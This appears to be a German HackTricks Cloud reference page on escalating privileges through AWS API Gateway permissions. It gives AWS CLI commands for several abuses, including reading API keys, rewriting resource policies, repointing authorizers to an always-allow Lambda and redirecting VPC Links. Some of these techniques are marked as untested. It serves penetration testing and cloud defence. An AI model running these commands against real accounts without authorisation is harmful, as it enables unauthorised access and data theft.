AWS - Apigateway Privesc
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Unterstütze HackTricks
- Sieh dir die Abonnementpläne an!
- Tritt der 💬 Discord group oder der telegram group bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repos einreichst.
Apigateway
Für weitere Informationen siehe:
apigateway:POST
Mit dieser Berechtigung können Sie API-Schlüssel für die konfigurierten APIs erstellen (pro Region).
aws --region <region> apigateway create-api-key
Mögliche Auswirkungen: Du kannst mit dieser Technik kein privesc durchführen, aber möglicherweise Zugriff auf sensible Informationen erhalten.
apigateway:GET
Mit dieser Berechtigung kannst du die generierten API-Schlüssel der konfigurierten APIs abrufen (pro Region).
aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value
Mögliche Auswirkungen: Du kannst mit dieser Technik kein privesc durchführen, aber du könntest Zugriff auf sensible Informationen erhalten.
apigateway:UpdateRestApiPolicy, apigateway:PATCH
Mit diesen Berechtigungen ist es möglich, die Ressourcenrichtlinie einer API zu ändern, sich selbst Zugriff zum Aufrufen zu geben und eventuell vorhandenen Zugriff auf das API Gateway auszunutzen (z. B. zum Aufrufen einer verwundbaren lambda).
aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
Mögliche Auswirkung: Du wirst normalerweise nicht direkt mit dieser Technik privesc durchführen können, aber du könntest Zugriff auf sensible Informationen erhalten.
apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole
Note
Test erforderlich
Ein Angreifer mit den Berechtigungen apigateway:PutIntegration, apigateway:CreateDeployment und iam:PassRole kann eine neue Integration zu einer bestehenden API Gateway REST API hinzufügen, die eine Lambda-Funktion verwendet, an die eine IAM-Rolle angehängt ist. Der Angreifer kann dann die Lambda-Funktion auslösen, um beliebigen Code auszuführen und möglicherweise Zugriff auf die Ressourcen zu erlangen, die mit der IAM-Rolle verbunden sind.
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"
# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Mögliche Auswirkungen: Zugriff auf Ressourcen, die mit der IAM-Rolle der Lambda-Funktion verknüpft sind.
apigateway:UpdateAuthorizer, apigateway:CreateDeployment
Note
Muss noch getestet werden
Ein Angreifer mit den Berechtigungen apigateway:UpdateAuthorizer und apigateway:CreateDeployment kann einen vorhandenen API Gateway authorizer ändern, um Sicherheitsprüfungen zu umgehen (z. B. ihn auf eine Lambda umzuleiten, die stets “allow” zurückgibt) oder beliebigen Code auszuführen, wenn API-Anfragen gestellt werden.
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potenzielle Auswirkungen: Umgehung von Sicherheitsprüfungen, unbefugter Zugriff auf API-Ressourcen.
HTTP APIs / apigatewayv2 Variante
Für HTTP APIs (API Gateway v2) ist die äquivalente Operation das Aktualisieren des Authorizers über apigatewayv2:
REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
apigateway:UpdateVpcLink
Note
Muss getestet werden
Ein Angreifer mit der Berechtigung apigateway:UpdateVpcLink kann einen bestehenden VPC Link so ändern, dass er auf einen anderen Network Load Balancer zeigt, wodurch privater API-Verkehr möglicherweise zu unbefugten oder bösartigen Ressourcen umgeleitet wird.
VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
Mögliche Auswirkungen: Unbefugter Zugriff auf private API-Ressourcen, Abfangen oder Unterbrechen des API-Verkehrs.
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Unterstütze HackTricks
- Sieh dir die Abonnementpläne an!
- Tritt der 💬 Discord group oder der telegram group bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repos einreichst.
HackTricks Cloud

